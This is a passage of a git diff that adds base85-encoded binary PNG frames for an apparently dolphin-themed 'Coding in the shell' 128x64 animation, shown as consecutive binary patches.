ztZ_UYa(o?-tj;UzfDk#hrQWG^GBf_WW&pjL<$F|pdQqz#b|sH#%C&SbbMwHk3_Gr6 zSB-v_Q9V5_14L2mIaiP2v4ieY6AT{BdgHYmZJD$bZ4zV~bA0oPY)gijThph3tWzzc z5Ne7aYsaG$P`k@mAV-&0WE zr9)&JvjIxG$9T2#HSYneNqY1iF@vWI>1FJh35#+qCbH51lQunAvMmKTbrFQB{$9>U zhDSveTerwDdIb%dXXI3Co!B|m*j78{=TF1X6Aj+m`3Qv$^$ug5U$cYs@1iHtW6`^O z>ak>dFE*3whS&$r>o6{YyvlZ@^DQ7swPf^rrazN6qn#WD-<|7L-k;iYpuNWVvnPWb zjBGFV_q0Qf%M^Ih##!qn?X~o{0q`W}OPj3X>P|4s@Pu_c{r*rXz@p8k1OcKkD;?*G+qACJG0-cVT9tZenY`!x z5sPYV2BbpTiGv=P>XYXd^|kXMmi>24m#(t2-Nwq1W27`4j-KP;i`$jyjgXRuFlJ9B7?X zqR6j78!OzcAmZx<|(}bX`DyZrM-qN^mzKoEWRbeLWj8nUNqrC4qG_v37!=ydS`6$5ATp~tg5v?KoLWq|J z5LhF1UPkF8%H4=kE&7!@S=$&e1t($v?bO!dPtV=*6;uD5z7K#R&!SfJL@#OBRhB4y zd*t>Out6NPM}4I(4{}Ydc4U9SJBrSlr-i6u)pAkp^r%>~NN;G}UUAz}19)lnYT%>v z`gIdH!uhOW9;~#0cFHVvh}OZY0oWiNwccO${nv9oLd*^VX_y3J1%@3)?0%`k%HvEB gcw^37@08N<4-kuSBaar`fdBvi07*qoM6N<$f?RsI2><{9 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_31.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_31.png new file mode 100644 index 0000000000000000000000000000000000000000..a086ba60c4f2350f6f42933de30d1fa9baded7cb GIT binary patch literal 1423 zcmV;A1#tR_P)h}0NVXKC-`lYQjSu}>F1XtfIHti4kS^w z{CCLLT3=+JNSHH31DDzI-zCrShz_vvJK#~^EeRaKzK#CiPLyHYljl&Y020=o8F@sQ z?D)NHnmKl)4|3=foBr#ICx2uhQrt^^hK^5@ze7hU<(&W<>!6g9zX|*XW{=SEi8l4< z^Y&rThy?Iz$ue5UsKobEbr5Q;K%QTdsPEG^kuQg7|)>>;ctd7W1 zdALXNvagia`i!muT6K8i%&G*aU-^VffR@VOo8ggnCZ5M}o&9K6qJEJ+2-?n%+J`VB z0%&^B&8wAMkGu~E-vmZNu1t=+u+IBf6Uj!0(f0t+KAC=+J)`aeNbZpx9F-c0bMY`+!pZJ`R@3 zxe!Y1%6q~D3Q_Hc=lx0<0S&1u;1!*3);f8CXp>s zArgw^Jh`pbxN=^yEgJ12ZAe#UJ>V~cMmirEn_1kMAs@}t+hq}FW#*x+b0#0MaQ-ep zDjVf|3CilPj?p7m(Z-b#Kd{)aDVTw>=&SIY1F_x zqX&>vWqX7K96jdSGA29%yev{2T4TES`V4CSFb-nS+!L#Vfi zTHhJ4&UEelyN&@3=S^VriT()OVOJP!?RYKWx^odV`!de&v2Ia2Ii68wT8kUasJ#e* zIC5K8vKXFUhqy z8?BFQM-E5P2(|I~nK{4+AmdQGHbF#;5jK(zu2+jdXg*h*uQ|`M(;^CQleRx+g@4U> ztxZly+A|{xSP3!TQQEPk?NlzK>7(|mME3}2<^UsM?G7(<9gWQKBj;hA_2?+EbYzlQ dD@s^I`v>s;WD4OutKa|t002ovPDHLkV1oauug?Gg literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_32.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_32.png new file mode 100644 index 0000000000000000000000000000000000000000..4fdc011d11f1d6ea03fbee392d145548409840dc GIT binary patch literal 1482 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 UXfJx1^Z)<=07*qoM6N<$f};=K2LJ#7 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_34.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_34.png new file mode 100644 index 0000000000000000000000000000000000000000..e13f825fa75c0fc72347ebf71fc55b8c4ab086f0 GIT binary patch literal 1539 zcmV+e2K@PnP)_=A0kjdBMruVZIg5a|b1=o-44!JS(5aa72JRNb&;fnQ@GatQ8TC zgG=t5b86&!22Uwdw34B|RSr<4SC`Q-u>C?2fD#6UMwD6=zAybM9H2|TDx+)mNk;(d zgsjT0*t2(c06dPz_)&da5g-F?A}bQMCpiEdi$k>zWCW;&G^tgjW*y*e<9CjK9LG32 zCn?FzBskxMI~U2Ef9e3;gK+riPH=aG9Ak`Eq?6ZhQi8K`pWOx4{XW987iI^bl(7zI znaHaB_HJ0Y7{kwRq;4TPK*s1?ABli$H0XAsjQq|c9>uTK8Au1HET>{v&bwAexI1cC z#_vAcOLDL?P-Fb#0G)=9;K}*H4hb&KB`7{$@CEL;N-+(T;yVyL#%B~*k+^vwIl?i< zm{j9csJ!r?zN;(*RXgGxkqztn-U2$48%cKd){8?$e$aVuVUd~TmTM2?zV8A&@E$iT z?K7dXWA$@#Dx!e3I9A22)bADP6!AJu#){jpE>!5=$t~CKIF8?!L0aREY@Cy6sgl7} z*}3{Td3a3gb*^-8zk*u|Y9+9H55)4N69Q%YJE8#|A77_)?J-t!OW~AWt{_+}(`Dqe3b}ptgN< z09Wxch@APm`I7+WELH-g0VU;O^$vf>{ak5mykAP~D&<*WWJch2fK0AHIR zUOqhSU4<#a_49uTyCC(|4N=bKV#rz@}FM{wFv1>)+92lBv~`&>UNTjt4iNi+r1rNjPcRKN=P-d zm9Xpn4`I>2lRpX6xF-xl*YgVVoT5_VCsnYxHgMc08-EPBC`5&R_>THcYlGimKwDC_ zKA~4~dlTgh+}>l&gsJyWH~s~y6KIt{44C*yi;y!qW$PFBf-(x;3%!P=ve$~Fk3vP5 z?Q%NG2_&94+h85J??fB_ZtpXKG`N=pEQcD)llVdTS!88uy5mLQfo6C~ANWlDhY?c7 zYf;*&u=Jji-G#__k$GD9^T?ORd`EyNyb5@|mFsVj(Fuz|GQP#}k_S4URIYE@H1efHj6E8-EPjoeFHT1^1N^;1ZfWw&8v73C16TF7-;qEr?8Rl)>`f3dWv4 p=ln1}SH0R9QYDoFHSas-_zQ_vOBJt~Ay2_Xd6 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 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_39.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_39.png new file mode 100644 index 0000000000000000000000000000000000000000..7ca97b4a7de316242b68d76e29ae0e8db3c1b98c GIT binary patch literal 1780 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 U6Nnm72LJ#707*qoM6N<$g7&RSr~m)} literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_41.png b/assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_41.png new file mode 100644 index 0000000000000000000000000000000000000000..c33f03e927ae06d8adae5aadaf5259663c9b1d22 GIT binary patch literal 1770 zcmVM0AOH&rTKua@^xZ&v z_9FMD6Ej6TmfFq?mTLBS4a;~G%q4fr6s@$@XB`gnfl6h zh<0`awxo& zuTo-B%!)2x<}*jPEKXMPnH)+4*a2n+o_;cbvbd;1R76pf5dp3MJlbIukhAeB03Gd!?c1yNmPCA{g3P5m0QISHzh0Q4w^k zso;;%cnVONYLoNC7F({Pqmy^t6L%SLyw5hqdfg+WXDSIQ;E&O83b4T{?9G&R2GSg3 z%B!8vwg_)5JGrdacl)?9mu{;p0hrRR^wHH%NB@oT%I4bmY&Apoc~xR(W2kc^@^}Qu z09VCS1QJ^KF7=EodbSL-NGN;yL(R{|Q!A3R7Lx##gc%ZK{#fr?PxE4W3)r=*P#h*_rd=^7nQE@AFjnkiCK##d$XM|;|D5Of z`DYzpe?~dY`#KiY`mnKV&TF3bGs?fyGLc-3_xTS+swA+WM)N$-vYnL)s}4iJqB!1X zPdK8M(3z{3muk|#4{!y;(ITQs&>h#yWyVLOjCTIK9#yffs@1s(zMTTRhn>NplVnb` z2s`(7nkNELe$4L92vpHpp5Gly|9t=zbXB=CEhNgL%TQj^(Dew2Xif#ZtAynk;+sIW z6tg6V)a+elAH|Nw)MrqBdU2ApR0<7a%nY2NfgK;LGe6h()*_(1XNlG$+6YWFjpFZ={>Z+qFCxI4n2{iJ zZs#*C1XY6y_{^@(fX|-U%aQSCePr!(&AAG`jXOq>0LalyuxlPmB4q*BaTTaFhb$+> zhnJ(xbG_DS>3vd 